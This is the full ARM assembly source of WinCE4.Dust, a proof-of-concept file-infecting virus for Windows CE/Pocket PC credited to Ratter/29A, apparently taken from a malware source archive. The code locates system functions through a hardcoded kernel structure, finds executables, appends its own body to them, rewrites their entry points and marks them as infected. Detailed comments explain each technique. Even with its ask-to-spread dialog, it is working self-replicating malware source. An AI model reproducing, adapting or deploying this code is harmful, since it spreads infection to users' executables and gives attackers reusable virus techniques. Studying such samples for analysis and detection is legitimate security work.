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vxug-MalwareSourceCode/LegacyWindows/WinCE.Dust.TXT
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** virus_source **
CODE32
EXPORT WinMainCRTStartup
AREA .text, CODE, ARM
virus_start
; r11 - base pointer
virus_code_start PROC
stmdb sp!, {r0 - r12, lr, pc}
mov r11, sp
sub sp, sp, #56 ; make space on the stack
; our stack space gets filled the following way
; #-56 - udiv
; #-52 - malloc
; #-48 - free
; [r11, #-44] - CreateFileForMappingW
; #-40 - CloseHandle
; #-36 - CreateFileMappingW
; #-32 - MapViewOfFile
; #-28 - UnmapViewOfFile
; #-24 - FindFirstFileW
; #-20 - FindNextFileW
; #-16 - FindClose
; #-12 - MessageBoxW
; #- 8 - filehandle
; #- 4 - mapping handle
bl get_export_section
; we'll import via ordinals, not function names, because it's
; safe - even linker does that
adr r2, import_ordinals
mov r3, sp
bl lookup_imports
;
bl ask_user
beq jmp_to_host ; are we allowed to spread?
;
mov r0, #0x23, 28
mov lr, pc
ldr pc, [r11, #-52] ; allocate WFD
mov r4, r0
cmp r0, #0
beq jmp_to_host
; in the following code I use functions FindFirstFile/FindNextFile
; for finding *.exe files in the current directory. But in this
; case I made a big mistake. I didn't realize that WinCE is not
; aware of the current directory and thus we need to use absolute
; pathnames. That's why this code won't find files in the current
; directory, but rather always in root directory. I found this out when I
; was performing final tests, but because the aim was to create a
; proof-of-concept code and because the infection itself was already
; limited by the user's permission, I decided not to correct this
; bug
adr r0, mask
mov r1, r4
mov lr, pc
ldr pc, [r11, #-24] ; find first file
cmn r0, #1
beq free_wfd
mov r5, r0
find_files_iterate
ldr r0, [r4, #28] ; filesize high
ldr r1, [r4, #32] ; filesize low
cmp r0, #0 ; file too big?
bne find_next_file
cmp r1, #0x1000 ; file smaller than 4096 bytes?
addgt r0, r4, #40 ; gimme file name
blgt infect_file
find_next_file
mov r0, r5
mov r1, r4
mov lr, pc
ldr pc, [r11, #-20] ; find next file
cmp r0, #0 ; is there any left?
bne find_files_iterate
mov r0, r5
mov lr, pc
ldr pc, [r11, #-16]
free_wfd
mov r0, r4
mov lr, pc
ldr pc, [r11, #-48] ; free WFD
;
jmp_to_host
adr r0, host_ep
ldr r1, [r0] ; get host_entry
ldr r2, [r11, #56] ; get pc
add r1, r1, r2 ; add displacement
str r1, [r11, #56] ; store it back
mov sp, r11
ldmia sp!, {r0 - r12, lr, pc}
ENDP
; we're looking for *.exe files
mask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0
; host entry point displacement
; in first generation let compiler count it
host_ep
DCD host_entry - virus_code_start - 8
; WinCE is a UNICODE-only platform and thus we'll use the W ending
; for api names (there are no ANSI versions of these)
import_ordinals
DCW 2008 ; udiv
DCW 1041 ; malloc
DCW 1018 ; free
DCW 1167 ; CreateFileForMappingW
DCW 553 ; CloseHandle
DCW 548 ; CreateFileMappingW
DCW 549 ; MapViewOfFile
DCW 550 ; UnmapViewOfFile
DCW 167 ; FindFirstFileW
DCW 181 ; FindNextFile
DCW 180 ; FindClose
DCW 858 ; MessageBoxW
DCD 0x0
; basic wide string compare
wstrcmp PROC
wstrcmp_iterate
ldrh r2, [r0], #2
ldrh r3, [r1], #2
cmp r2, #0
cmpeq r3, #0
moveq pc, lr
cmp r2, r3
beq wstrcmp_iterate
mov pc, lr
ENDP
; on theWin32 platform, almost all important functions were located in the
; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
; was). The first infectors had a hardcoded imagebase of this dll and
; later they imported needed functions by hand from it. This
; turned out to be incompatible because different Windows versions might
; have different imagebases for kernel32. That's why more or less
; sophisticated methods were found that allowed coding in a
; compatible way. One of these methods is scanning memory for known values
; located in PE file header ("MZ") if the address inside the module is
; given. Because the function inside kernel32 calls the EntryPoint of
; every Win32 process, we've got this address. Then comparing the word
; on and aligned address (and decrementing it) against known values is
; enough to locate the imagebase. If this routine is even covered
; with SEH (Structured Exception Handling) everything is safe.
; I wanted to use this method on WinCE too, but I hit the wall.
; Probably to save memory space, there are no headers
; before the first section of the loaded module. There is thus no
; "MZ" value and scanning cannot be used even we have the address
; inside coredll.dll (lr registr on our entrypoint). Moreover, we
; cannot use SEH either, because SEH handlers get installed with
; the help of a special directory (the exception directory) in the PE file and
; some data before the function starts - this information would have
; to be added while infecting the victim (the exception directory
; would have to be altered) which is of course not impossible -- just
; a little bit impractical to implement in our basic virus.
; That's why I was forced to use a different approach. I looked
; through the Windows CE 3.0 source code (shared source,
; downloadable from Microsoft) and tried to find out how the loader
; performs its task. The Loader needs the pointer to the module's export
; section and its imagebase to be able to import from it. The result was a
; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
; chose to open this loophole, I don't know)
; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
; list of Module structures. There we can find all needed values
; (name of the module, imagebase and export section RVA). In the
; code that follows I go through this one-way list and look for
; structure describing the coredll.dll module. From this structure I
; get the imagebase and export section RVA (Relative Virtual Address).
; what sounds relatively easy was in the end more work than I
; expected. The problem was to get the offsets in the Module
; structure. The source code and corresponding headers I had were for
; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
; where the structure is different. I worked it out using the following
; sequence:
; I was able to get the imagebase offset using the trial-and-error
; method - I used the debugger and tried values inside the
; structure that looked like valid pointers. If there was something
; interesting, I did some memory sniffing to realize where I was.
; The export section pointer was more difficult. There is no real
; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
; pointer. That's why I found coredll.dll in memory - namely the
; list of function names in export section that the library exports.
; This list is just a series of ASCIIZ names (you can see this list
; when opening the dll in your favourite hex editor). At the
; beginning of this list there must be a dll name (in this case
; coredll.dll) to which a RVA in the export section header
; points. Substracting the imagebase from the address where the dll
; name starts gave me an RVA of the dll name. I did a simple byte
; search for the byte sequence that together made this RVA value. This
; showed me where the (Export Directory Table).Name Rva is.
; Because this is a known offset within a known structure (which is
; in the beginning of export section), I was able to get
; the export section pointer this way. I again substracted the imagebase to
; get the export section RVA. I looked up this value in the coredll's
; Module structure, which finally gave me the export section RVA
; offset.
; this works on Pocket PC 2003; it works on
; my wince 4.20.0 (build 13252).
; On different versions the structure offsets might be different :-/
; output:
; r0 - coredll base addr
; r1 - export section addr
get_export_section PROC
stmdb sp!, {r4 - r9, lr}
ldr r4, =0xffffc800 ; KDataStruct
ldr r5, =0x324 ; aInfo[KINX_MODULES]
add r5, r4, r5
ldr r5, [r5]
; r5 now points to first module
mov r6, r5
mov r7, #0
iterate
ldr r0, [r6, #8] ; get dll name
adr r1, coredll
bl wstrcmp ; compare with coredll.dll
ldreq r7, [r6, #0x7c] ; get dll base
ldreq r8, [r6, #0x8c] ; get export section rva
add r9, r7, r8
beq got_coredllbase ; is it what we're looking for?
ldr r6, [r6, #4]
cmp r6, #0
cmpne r6, r5
bne iterate ; nope, go on
got_coredllbase
mov r0, r7
add r1, r8, r7 ; yep, we've got imagebase
; and export section pointer
ldmia sp!, {r4 - r9, pc}
ENDP
coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0
; r0 - coredll base addr
; r1 - export section addr
; r2 - import ordinals array
; r3 - where to store function adrs
lookup_imports PROC
stmdb sp!, {r4 - r6, lr}
ldr r4, [r1, #0x10] ; gimme ordinal base
ldr r5, [r1, #0x1c] ; gimme Export Address Table
add r5, r5, r0
lookup_imports_iterate
ldrh r6, [r2], #2 ; gimme ordinal
cmp r6, #0 ; last value?
subne r6, r6, r4 ; substract ordinal base
ldrne r6, [r5, r6, LSL #2] ; gimme export RVA
addne r6, r6, r0 ; add imagebase
strne r6, [r3], #4 ; store function address
bne lookup_imports_iterate
ldmia sp!, {r4 - r6, pc}
ENDP
; r0 - filename
; r1 - filesize
infect_file PROC
stmdb sp!, {r0, r1, r4, r5, lr}
mov r4, r1
mov r8, r0
bl open_file ; first open the file for mapping
cmn r0, #1
beq infect_file_end
str r0, [r11, #-8] ; store the handle
mov r0, r4 ; now create the mapping with
; maximum size == filesize
bl create_mapping
cmp r0, #0
beq infect_file_end_close_file
str r0, [r11, #-4] ; store the handle
mov r0, r4
bl map_file ; map the whole file
cmp r0, #0
beq infect_file_end_close_mapping
mov r5, r0
bl check_header ; is it file that we can infect?
bne infect_file_end_unmap_view
ldr r0, [r2, #0x4c] ; check the reserved field in
; optional header against
ldr r1, =0x72617461 ; rata
cmp r0, r1 ; already infected?
beq infect_file_end_unmap_view
ldr r1, [r2, #0x3c] ; gimme filealignment
adr r0, virus_start
adr r2, virus_end ; compute virus size
sub r0, r2, r0
mov r7, r0 ; r7 now holds virus_size
add r0, r0, r4
bl _align_ ; add it to filesize and
mov r6, r0 ; align it to filealignment
; r6 holds the new filesize
mov r0, r5
mov lr, pc
ldr pc, [r11, #-28] ; UnmapViewOfFile
ldr r0, [r11, #-4]
mov lr, pc
ldr pc, [r11, #-40] ; close mapping handle
;
mov r0, r8
bl open_file ; reopen the file because via
; closing the mapping handle file
; handle was closed too
cmn r0, #1
beq infect_file_end
str r0, [r11, #-8]
mov r0, r6 ; create mapping again with the
bl create_mapping ; new filesize (with virus appended)
cmp r0, #0
beq infect_file_end_close_file
str r0, [r11, #-4]
mov r0, r6
bl map_file ; map it
cmp r0, #0
beq infect_file_end_close_mapping
mov r5, r0
;
; r5 - mapping base
; r7 - virus_size
ldr r4, [r5, #0x3c] ; get PE signature offset
add r4, r4, r5 ; add the base
ldrh r1, [r4, #6] ; get NumberOfSections
sub r1, r1, #1 ; we want the last section header
; so dec
mov r2, #0x28 ; multiply with section header size
mul r0, r1, r2
add r0, r0, r4 ; add optional header start to displacement
add r0, r0, #0x78 ; add optional header size
ldr r1, [r4, #0x74] ; get number of data directories
mov r1, r1, LSL #3 ; multiply with sizeof(data_directory)
add r0, r0, r1 ; add it because section headers
; start after the optional header
; (including data directories)
ldr r6, [r4, #0x28] ; gimme entrypoint rva
ldr r1, [r0, #0x10] ; get last section's size of rawdata
ldr r2, [r0, #0x14] ; and pointer to rawdata
mov r3, r1
add r1, r1, r2 ; compute pointer to the first
; byte available for us in the
; last section
; (pointer to rawdata + sizeof rawdata)
mov r9, r1 ; r9 now holds the pointer
ldr r8, [r0, #0xc] ; get RVA of section start
add r3, r3, r8 ; add sizeof rawdata
str r3, [r4, #0x28] ; set entrypoint
sub r6, r6, r3 ; now compute the displacement so that
; we can later jump back to the host
sub r6, r6, #8 ; sub 8 because pc points to
; fetched instruction (viz LTORG)
mov r10, r0
ldr r0, [r10, #0x10] ; get size of raw data again
add r0, r0, r7 ; add virus size
ldr r1, [r4, #0x3c]
bl _align_ ; and align
str r0, [r10, #0x10] ; store new size of rawdata
str r0, [r10, #0x8] ; store new virtual size
ldr r1, [r10, #0xc] ; get virtual address of last section
add r0, r0, r1 ; add size so get whole image size
str r0, [r4, #0x50] ; and store it
ldr r0, =0x60000020 ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
; IMAGE_SCN_MEM_READ
ldr r1, [r10, #0x24] ; get old section flags
orr r0, r1, r0 ; or it with our needed ones
str r0, [r10, #0x24] ; store new flags
ldr r0, =0x72617461
str r0, [r4, #0x4c] ; store our infection mark
add r1, r9, r5 ; now we'll copy virus body
mov r9, r1 ; to space prepared in last section
adr r0, virus_start
mov r2, r7
bl simple_memcpy
adr r0, host_ep ; compute number of bytes between
; virus start and host ep
adr r1, virus_start
sub r0, r0, r1 ; because we'll store new host_ep
str r6, [r0, r9] ; in the copied virus body
infect_file_end_unmap_view
mov r0, r5
mov lr, pc ; unmap the view
ldr pc, [r11, #-28]
infect_file_end_close_mapping
ldr r0, [r11, #-4]
mov lr, pc ; close the mapping
ldr pc, [r11, #-40]
infect_file_end_close_file
ldr r0, [r11, #-8]
mov lr, pc ; close file handle
ldr pc, [r11, #-40]
infect_file_end
ldmia sp!, {r0, r1, r4, r5, pc} ; and return
ENDP
; a little reminiscence of my beloved book - Greg Egan's Permutation City
DCB "This code arose from the dust of Permutation City"
ALIGN 4
; this function checks whether the file we want to infect is
; suitable
check_header PROC
ldrh r0, [r5]
ldr r1, =0x5a4d ; MZ?
cmp r0, r1
bne infect_file_end_close_mapping
ldr r2, [r5, #0x3c]
add r2, r2, r5
ldrh r0, [r2]
ldr r1, =0x4550 ; Signature == PE?
cmp r0, r1
bne check_header_end
ldrh r0, [r2, #4]
ldr r1, =0x1c0 ; Machine == ARM?
cmp r0, r1
bne check_header_end
ldrh r0, [r2, #0x5C] ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
cmp r0, #9
bne check_header_end
ldrh r0, [r2, #0x40]
cmp r0, #4 ; windows ce 4?
check_header_end
mov pc, lr
ENDP
; r0 - file
open_file PROC
str lr, [sp, #-4]!
sub sp, sp, #0xc
mov r1, #3
str r1, [sp] ; OPEN_EXISTING
mov r3, #0
mov r2, #0
str r3, [sp, #8]
str r3, [sp, #4]
mov r1, #3, 2 ; GENERIC_READ | GENERIC_WRITE
mov lr, pc
ldr pc, [r11, #-44] ; call CreateFileForMappingW to
; get the handle suitable for
; CreateFileMapping API
; (on Win32 calling CreateFile is enough)
add sp, sp, #0xc
ldr pc, [sp], #4
ENDP
; r0 - max size low
create_mapping PROC
str lr, [sp, #-4]!
mov r1, #0
sub sp, sp, #8
str r0, [sp]
str r1, [sp, #4]
mov r2, #4 ; PAGE_READWRITE
mov r3, #0
ldr r0, [r11, #-8]
mov lr, pc
ldr pc, [r11, #-36]
add sp, sp, #8
ldr pc, [sp], #4
ENDP
; r0 - bytes to map
map_file PROC
str lr, [sp, #-4]!
sub sp, sp, #4
str r0, [sp]
ldr r0, [r11, #-4]
mov r1, #6 ; FILE_MAP_READ or FILE_MAP_WRITE
mov r2, #0
mov r3, #0
mov lr, pc
ldr pc, [r11, #-32]
add sp, sp, #4
ldr pc, [sp], #4
ENDP
; not optimized (thus simple) mem copy
; r0 - src
; r1 - dst
; r2 - how much
simple_memcpy PROC
ldr r3, [r0], #4
str r3, [r1], #4
subs r2, r2, #4
bne simple_memcpy
mov pc, lr
ENDP
; (r1 - (r1 % r0)) + r0
; r0 - number to align
; r1 - align to what
_align_ PROC
stmdb sp!, {r4, r5, lr}
mov r4, r0
mov r5, r1
mov r0, r1
mov r1, r4
; ARM ISA doesn't have the div instruction so we'll have to call
; the coredll's div implementation
mov lr, pc
ldr pc, [r11, #-56] ; udiv
sub r1, r5, r1
add r0, r4, r1
ldmia sp!, {r4, r5, pc}
ENDP
; this function will ask user (via a MessageBox) whether we're
; allowed to spread or not
ask_user PROC
str lr, [sp, #-4]!
mov r0, #0
adr r1, text
adr r2, caption
mov r3, #4
mov lr, pc
ldr pc, [r11, #-12]
cmp r0, #7
ldr pc, [sp], #4
ENDP
; notice that the strings are encoded in UNICODE
; WinCE4.Dust by Ratter/29A
caption DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
DCB ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
DCB "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
DCB "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
DCB "A", 0x0, 0x0, 0x0
ALIGN 4
; Dear User, am I allowed to spread?
text DCB "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
DCB "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
DCB "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
DCB "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
DCB "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
DCB "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
ALIGN 4
; Just a little greeting to AV firms :-)
DCB "This is proof of concept code. Also, i wanted to make avers happy."
DCB "The situation when Pocket PC antiviruses detect only EICAR file had"
DCB " to end ..."
ALIGN 4
; LTORG is a very important pseudo instruction, which places the
; literal pool "at" the place of its presence. Because the ARM
; instruction length is hardcoded to 32 bits, it is not possible in
; one instruction to load the whole 32bit range into a register (there
; have to be bits to specify the opcode). That's why the literal
; pool was introduced, which in fact is just an array of 32bit values
; that are not possible to load. This data structure is later
; accessed with the aid of the PC (program counter) register that points
; to the currently executed instruction + 8 (+ 8 because ARM processors
; implement a 3 phase pipeline: execute, decode, fetch and the PC
; points not at the instruction being executed but at the instruction being
; fetched). An offset is added to PC so that the final pointer
; points to the right value in the literal pool.
; the pseudo instruction ldr rX, =<value> while compiling gets
; transformed to a mov instruction (if the value is in the range of
; valid values) or it allocates its place in the literal pool and becomes a
; ldr, rX, [pc, #<offset>]
; similarly adr and adrl instructions serve to loading addresses
; to register.
; this approach's advantage is that with minimal effort we can get
; position independent code from the compiler which allows our
; code to run wherever in the address space the loader will load us.
LTORG
virus_end
; the code after virus_end doesn't get copied to victims
WinMainCRTStartup PROC
b virus_code_start
ENDP
; first generation entry point
host_entry
mvn r0, #0
mov pc, lr
END
** virus_source_end **
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